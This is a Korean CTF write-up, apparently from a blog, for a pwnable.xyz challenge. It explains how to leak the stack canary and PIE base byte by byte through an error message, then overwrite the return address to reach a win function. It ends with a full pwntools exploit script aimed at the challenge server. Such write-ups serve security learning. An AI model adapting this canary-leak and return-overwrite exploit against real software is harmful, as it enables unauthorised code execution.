# Protection Tech
# process
scanf() 함수로 입력받지만 입력받은 문자 마지막에 개행문자를 붇이기 때문에 leak이 불가능하다.
get_choice() 함수에서 입력받은 값은 main함수의 eax 레지스터 값에 담겨서(v5 변수에 해당) error 메시지에서 출력해준다.
이것으로 cananry나 pie를 error 메시지에서 출력해준 것으로 1바이트씩 leak할 수 있다.
1) main 함수에서 v7에 message 입력
- 0x28 바이트 입력한다.
위의 노란색 값이 canary이고, 아래 노란색 값이 return address이다.
return address에는 main 함수의 return address인 __libc_start_main+240이 들어있다.
이것으로 pie base와 offset을 구하면 pie base를 구할 수 있다.
v0~v11까지의 10의 offset 후에 rbp-0x8, 즉 canary가 위치한다.
그리고 48은 '0'으로 빼줌으로써 문자를 숫자로 만들고 있는데, 이것 때문에 '0'을 더한다.
'0'이 아스키코드로 0x30이므로 0x30을 추가로 더해주면 된다.
2) canary leak
- 위에서 0x30+10을 한 상태이다. 그럼 canary를 leak할 수 있다.
- 한 바이트씩 leak할 수 있으므로 반복문으로 i를 0부터 7번 반복해서 leak할 수 있도록 더한다.
- getchar()을 한 번 더 해주므로 sendline()으로 보낸다.
- error 메시지 출력되는 것에서 " "까지 받는데 그럼 스페이스 포함 3바이트를 recv한 상태이다.
이건 문자이므로 숫자로 바꾸기 위해 int형으로 바꾸고, 16진수로 바꾸기 위치 hex로 형변환을 또 한다.
그리고 스페이스를 제거하기 위해 [2:]로 슬라이스한다.
- 그리고 뒤에 '00'을 붙여준다.
3) pie leak
return address의 __libc_start_main+240과 pie base와의 offset을 구해서 return address leak 후 이 offset을 빼면 pie base를 구할 수 있다.
canary가 rbp-8에 있으므로 return address는 rbp+8이니까 canary leak할 때에서 0x10만큼 더해주면 된다. (rbp-8+8+8)
pie는 앞에 '0000'을 붙여준다.
4) return address -> win
win offset을 pie base에 더해서 win addr를 구해준 후, 구해준 canary를 넣고 return address에 win addr를 준다.
# exploit code
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30017)
canary = ''
p.sendlineafter("Message: ", 'A'*0x28)
#gdb.attach(p)
for i in range(1, 8):
p.sendlineafter("> ", chr(0x30+10+i))
p.recvuntil("Error: ")
byte = p.recvuntil(" ")
log.info("byte : "+hex(int(byte[:2])))
canary = hex(int(byte))[2:] + canary
canary += '00'
canary = int(canary, 16)
log.info("canary : "+hex(canary))
pie = ''
for i in range(6):
p.sendlineafter("> ", chr(0x30+10+0x10+i))
p.recvuntil("Error: ")
byte = p.recvuntil(" ")
log.info("byte : "+hex(int(byte)))
pie = hex(int(byte))[2:] + pie
pie = int('0000'+pie, 16)
log.info("pie : "+hex(pie))
pie = pie - 0xb30 # pie base
win = pie + 0xaac
p.sendlineafter("> ", '1')
p.sendlineafter("Message: ", 'A'*(0x30-0x8) + p64(canary) + 'A'*8 + p64(win))
#gdb.attach(p)
p.sendlineafter("> ", '0')
p.interactive()
# exploit
[Pwnable.xyz] iape (0) | 2020.03.25 |
---|---|
[pwnable.xyz] catalog (0) | 2020.03.09 |
[pwnable.xyz] badayum (0) | 2020.02.28 |
[pwnable.xyz] executioner (0) | 2020.02.28 |
[pwnable.xyz] J-U-M-P (0) | 2020.02.28 |